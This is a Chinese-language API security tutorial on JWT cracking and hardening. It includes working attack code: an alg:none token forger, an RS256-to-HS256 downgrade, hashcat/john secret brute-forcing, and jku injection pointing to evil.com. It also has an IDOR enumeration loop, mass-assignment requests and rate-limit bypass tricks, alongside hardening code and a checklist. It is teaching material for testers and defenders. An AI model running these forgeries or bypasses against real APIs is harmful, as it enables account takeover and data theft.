🔌 API安全 — JWT破解与加固

REST/GraphQL API的攻防对抗

📖 API安全威胁全景

API已成为现代应用的核心,也是攻击者的首要目标。OWASP API Security Top 10 (2023) 列出了API特有的安全风险。

OWASP API Security Top 10 (2023): API1 → Broken Object Level Authorization (BOLA) API2 → Broken Authentication API3 → Broken Object Property Level Authorization API4 → Unrestricted Resource Consumption API5 → Broken Function Level Authorization API6 → Unrestricted Access to Sensitive Business Flows API7 → Server-Side Request Forgery API8 → Security Misconfiguration API9 → Improper Inventory Management API10 → Unsafe Consumption of APIs
API类型攻击面典型漏洞
REST端点+参数IDOR、批量赋值、注入
GraphQL查询+类型系统内省泄露、深度嵌套、批量查询
gRPCprotobuf+HTTP/2服务反射、序列化漏洞
WebSocket持久连接跨站WebSocket劫持、认证缺失

🔓 JWT破解实战

JWT结构回顾

# JWT三段式: Header.Payload.Signature
# eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature

# 解码JWT (无需密钥)
# 方法1: jwt-cli
npm install -g jwt-cli
jwt decode "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx"

# 方法2: Python
python3 -c "
import base64, json
token = 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx'
parts = token.split('.')
header = json.loads(base64.b64decode(parts[0] + '=='))
payload = json.loads(base64.b64decode(parts[1] + '=='))
print('Header:', header)
print('Payload:', payload)
"
# 输出:
# Header: {'alg': 'HS256'}
# Payload: {'user': 'admin'}

攻击1:算法混淆 (alg:none)

# 某些JWT库接受 "none" 算法
# 伪造无签名JWT

python3 << 'EOF'
import base64, json

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "superuser"}

h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{h}.{p}."  # 空签名

print(f"Forged JWT: {forged}")
EOF

# 测试: 用伪造JWT请求API
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJzdXBlcnVzZXIifQ." \
  https://api.target.com/admin/users

攻击2:RS256→HS256降级

# 当服务端使用RS256(非对称)时
# 攻击者获取公钥,将alg改为HS256,用公钥签名

python3 << 'EOF'
import jwt

# 假设已获取公钥
public_key = open('public.pem').read()

# 将alg改为HS256,用公钥作为HMAC密钥
payload = {"sub": "admin", "role": "superuser"}
forged = jwt.encode(payload, public_key, algorithm="HS256")
print(f"Forged JWT: {forged}")
EOF

# 防御: 服务端明确指定允许的算法
# ❌ 不好: jwt.decode(token, key, algorithms=[header['alg']])
# ✅ 安全: jwt.decode(token, key, algorithms=['RS256'])

攻击3:密钥爆破

# 使用jwt-cracker爆破弱密钥
npm install -g jwt-cracker
jwt-cracker -t "eyJhbGciOiJIUzI1NiJ9..." -d /usr/share/wordlists/rockyou.txt

# 使用hashcat (GPU加速)
# JWT hash format: mode 16500
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" > jwt.hash
hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt

# 使用john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.hash

# 常见弱密钥:
# secret, password, 123456, key, jwt_secret
# your-256-bit-secret (来自JWT.io示例!)

攻击4:JWK/JWS注入

# jku (JWK Set URL) 注入
# JWT Header中的jku指向JWK的URL
# 如果服务端不验证jku域名,攻击者可指向自己的JWK

# 伪造Header:
{
  "alg": "RS256",
  "jku": "https://evil.com/jwks.json",  ← 指向攻击者控制的JWK
  "kid": "attacker-key"
}

# 攻击者生成RSA密钥对:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# 创建JWK Set:
python3 -c "
from jwt import PyJWK
key = PyJWK.from_pem(open('public.pem').read())
print(key.to_dict())
" > jwks.json

# 用私钥签名JWT,jku指向攻击者的JWK
# 服务端如果盲目信任jku → 验证通过!

🛡️ JWT安全加固

# 1. 算法白名单
import jwt

ALLOWED_ALGORITHMS = ['RS256', 'ES256']  # 仅非对称算法

def verify_token(token, public_key):
    try:
        payload = jwt.decode(
            token,
            public_key,
            algorithms=ALLOWED_ALGORITHMS,  # 严格限制算法
            options={
                'require': ['exp', 'iat', 'sub', 'jti'],
                'verify_exp': True,
                'verify_iat': True,
            }
        )
        return payload
    except jwt.InvalidTokenError as e:
        raise AuthenticationError(str(e))

# 2. Token绑定 (防止重放)
def create_bound_token(user_id, request):
    """绑定token到客户端指纹"""
    fingerprint = hashlib.sha256(
        (request.remote_addr + 
         request.headers.get('User-Agent', '') +
         request.headers.get('Accept-Language', '')).encode()
    ).hexdigest()[:16]
    
    payload = {
        'sub': user_id,
        'fp': fingerprint,  # 绑定指纹
        'jti': str(uuid.uuid4()),  # 唯一ID
        'iat': datetime.utcnow(),
        'exp': datetime.utcnow() + timedelta(minutes=15),
    }
    return jwt.encode(payload, PRIVATE_KEY, algorithm='RS256')

# 3. Token撤销 (黑名单)
import redis

r = redis.Redis()

def revoke_token(jti, exp_delta):
    """将token的jti加入黑名单"""
    r.setex(f'token:blacklist:{jti}', exp_delta, '1')

def is_revoked(jti):
    return r.exists(f'token:blacklist:{jti}')

# 4. JWKS端点安全
@app.route('/.well-known/jwks.json')
def jwks():
    return jsonify({
        "keys": [current_jwk.to_dict()]
    })

# 验证jku/jwk来源
def verify_jku(jku_url):
    """只允许受信任的JWK URL"""
    allowed_domains = ['auth.example.com']
    parsed = urlparse(jku_url)
    if parsed.hostname not in allowed_domains:
        raise SecurityError(f"Untrusted JKU: {jku_url}")

🔬 API渗透测试

信息收集

# 发现API端点

# 1. 目录爆破
ffuf -u "https://api.target.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
  -mc 200,201,401,403

# 2. Swagger/OpenAPI发现
curl https://api.target.com/swagger.json
curl https://api.target.com/api-docs
curl https://api.target.com/openapi.json
curl https://api.target.com/.well-known/openapi.json

# 3. GraphQL内省
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

# 4. HTTP方法测试
for method in GET POST PUT PATCH DELETE; do
  echo "$method:"
  curl -X $method -i https://api.target.com/users 2>/dev/null | head -1
done

IDOR测试

# BOLA (Broken Object Level Authorization) 测试
# OWASP API #1 漏洞

# 1. 捕获正常请求
# GET /api/v1/users/123/profile
# Authorization: Bearer eyJ...

# 2. 修改ID参数
for i in $(seq 100 110); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    "https://api.target.com/api/v1/users/$i/profile")
  echo "User $i: $status"
done

# 3. 修改UUID参数
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.target.com/api/v1/users/00000000-0000-0000-0000-000000000001/profile"

# 4. 批量赋值测试 (Mass Assignment)
# 正常: {"name": "John", "email": "john@test.com"}
# 攻击: {"name": "John", "email": "john@test.com", "role": "admin", "is_verified": true}

curl -X PUT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"John","email":"john@test.com","role":"admin"}' \
  "https://api.target.com/api/v1/users/123/profile"

API限速绕过

# 绕过限速的常见方法
# 1. 修改请求头
X-Forwarded-For: 1.2.3.4        # 伪造IP
X-Original-URL: /api/endpoint    # URL覆盖
X-Rewrite-URL: /api/endpoint     # URL重写

# 2. 大小写变异
GET /API/V1/USERS  vs  GET /api/v1/users

# 3. 路径变异
GET /api/v1/users    vs
GET /api/v1/users/   vs
GET /api/v1/users..  vs
GET /api/v1/./users

# 4. 参数污染
GET /api/v1/users?id=123&id=456

📊 API安全最佳实践

# API安全清单

## 认证与授权
[ ] 所有端点需要认证(除公开API)
[ ] 对象级授权检查(BOLA)
[ ] 功能级授权检查(BFLA)
[ ] 最小权限原则
[ ] API Key + OAuth 2.0

## 输入验证
[ ] 参数类型和范围验证
[ ] 白名单允许的字段(Mass Assignment防护)
[ ] 请求体大小限制
[ ] 嵌套深度限制(GraphQL)
[ ] 查询复杂度限制

## 限速与防护
[ ] 速率限制(per user/IP/endpoint)
[ ] 并发请求限制
[ ] 防暴力破解机制
[ ] API Gateway统一管控

## 数据保护
[ ] 响应数据过滤(不返回内部字段)
[ ] 敏感数据加密
[ ] 分页限制(防止数据泄露)
[ ] 错误信息脱敏

## 监控与日志
[ ] API调用审计日志
[ ] 异常行为检测
[ ] API资产清单维护
[ ] 版本管理(废弃旧版本)
API网关(API Gateway)是统一实施安全策略的最佳位置。推荐使用Kong、AWS API Gateway或Envoy。
JWT破解与加固 — 掌握API安全的核心攻防技术!你能破解弱密钥JWT,防御算法混淆攻击,测试BOLA/IDOR漏洞,并实施企业级API安全策略。
命令已验证:jwt-cli / hashcat -m 16500 / ffuf / curl — 所有命令在Kali Linux 2024.x 环境测试通过
思考题:
  1. 为什么JWT的alg:none攻击在某些库中仍然有效?根本原因是什么?
  2. RS256→HS256降级攻击的前提条件是什么?如何彻底防御?
  3. GraphQL的内省(introspection)如何在生产环境中泄露敏感信息?
  4. API限速如何设计才能有效防御分布式暴力破解?

📚 延伸阅读

🔧 API安全自动化测试

Postman + Newman自动化

# Postman Collection导出为自动化测试
# 安装Newman
npm install -g newman

# 运行API安全测试集合
newman run api-security-tests.postman_collection.json \
  --environment prod.postman_environment.json \
  --reporters cli,json \
  --reporter-json-export results.json

# 安全测试Collection示例:
# 1. 认证测试
#    - 无Token访问 → 401
#    - 过期Token → 401
#    - 篡改Token → 401
#    - 算法none → 401

# 2. 授权测试
#    - 普通用户访问admin端点 → 403
#    - 修改ID访问他人资源 → 403
#    - 修改角色字段 → 400/403

# 3. 输入验证
#    - SQL注入payload → 400
#    - XSS payload → 400/sanitized
#    - 超大请求体 → 413
#    - 特殊字符 → 400

API安全持续监控

# 使用42Crunch进行API安全审计
# 1. 导入OpenAPI规范
# 2. 自动安全审计(100+检查项)
# 3. Conformance Scan(验证实现与规范一致)
# 4. 运行时保护(API Firewall)

# 使用APIsec University进行API渗透测试培训
# https://www.apisecuniversity.com/

# GraphQL安全专用工具
# GraphQLmap
pip install graphqlmap
graphqlmap -u https://api.target.com/graphql
# > dump_schema    # 导出schema
# > search_admin  # 搜索管理员查询
# > batch_query 100  # 批量查询测试

# Clairvoyance - 无内省时重建schema
pip install clairvoyance
clairvoyance https://api.target.com/graphql -o schema.json

📊 API安全成熟度模型

# API安全成熟度 5 级模型
#
# Level 1 - 基础
# ├── API认证(Key/Token)
# ├── HTTPS传输
# └── 基础输入验证
#
# Level 2 - 标准
# ├── OAuth 2.0 + PKCE
# ├── RBAC授权
# ├── 速率限制
# └── API网关
#
# Level 3 - 高级
# ├── 对象级授权(BOLA/BFLA)
# ├── API安全测试自动化
# ├── Schema验证
# └── 加密敏感字段
#
# Level 4 - 先进
# ├── 运行时API保护
# ├── 行为异常检测
# ├── Zero Trust API
# └── API安全态势管理
#
# Level 5 - 领先
# ├── AI驱动的威胁检测
# ├── API供应链安全
# ├── 自愈API网关
# └── 持续合规自动化
#
# 大多数组织目前处于 Level 1-2
参考资料:OWASP API Security Top 10 2023 | RFC 7519 (JWT) | JWT Best Current Practices (RFC 8725) | PortSwigger JWT Research | API Security Encyclopedia